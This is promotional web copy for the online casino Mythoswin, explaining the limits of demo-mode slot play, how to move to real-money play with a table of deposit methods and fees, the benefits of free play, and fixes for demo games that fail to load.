Understanding the Limits of Practice Play

While the demo mode is incredibly useful, it’s important to understand its inherent limitations. The most significant difference is that you cannot win any real money. All winnings are virtual and exist only for the duration of your browser session. Furthermore, you cannot trigger or claim any real Mythoswin bonus offers, such as a Mythoswin no deposit bonus or Mythoswin free spins, while playing in demo mode. These promotions are exclusively for registered accounts playing with real funds. The demo version is also typically the base game; it may not include all progressive jackpot networks or special tournament features available to real-money players.

Transitioning from Demo Play to Real Money Gaming

Once you’ve found a slot you enjoy in demo mode, the next step is to play for real money. This requires creating an account, which involves providing an email address, creating a password, and verifying your identity as part of standard KYC (Know Your Customer) procedures. After your account is set up and verified, you’ll need to make a deposit. Mythoswin supports a variety of popular payment methods, each with its own processing times and potential fees, as outlined in the table below. Remember, any welcome bonus or Mythoswin promo code must be entered during the deposit process to claim it.

Payment Method Processing Time Minimum Deposit Potential Fee
Visa/Mastercard Instant £10 2.5%
Skrill Instant £10 None
Neteller Instant £10 None
Bank Transfer 2-5 Business Days £20 Varies by Bank

Key Advantages of Trying Slots for Free

Using the demo mode at mythoswin provides several concrete benefits that enhance your overall gaming experience. It is a risk-free environment designed for pure enjoyment and education.

  • Risk-Free Learning: Understand complex game mechanics, volatility, and RTP (Return to Player) without financial pressure.
  • Strategy Testing: Experiment with different bet sizes and see how they affect your virtual bankroll over time.
  • Pure Entertainment: Enjoy the graphics, soundtracks, and features of modern video slots simply for fun.
  • Informed Decision Making: Decide which games you genuinely like before spending your own money on them.

Troubleshooting Common Demo Mode Issues

While accessing demo play is usually seamless, you might occasionally encounter issues. The most common problem is the game not loading, which is often solved by simply refreshing your browser page or checking your internet connection. Ensure that your browser is updated to the latest version and that you do not have any overly restrictive ad-blockers or JavaScript disabled, as these can prevent games from loading correctly. If a specific slot consistently fails to load in demo mode, it may be worth trying a different game or contacting Mythoswin customer support for assistance, though they typically prioritize issues for registered players.

Call Now Button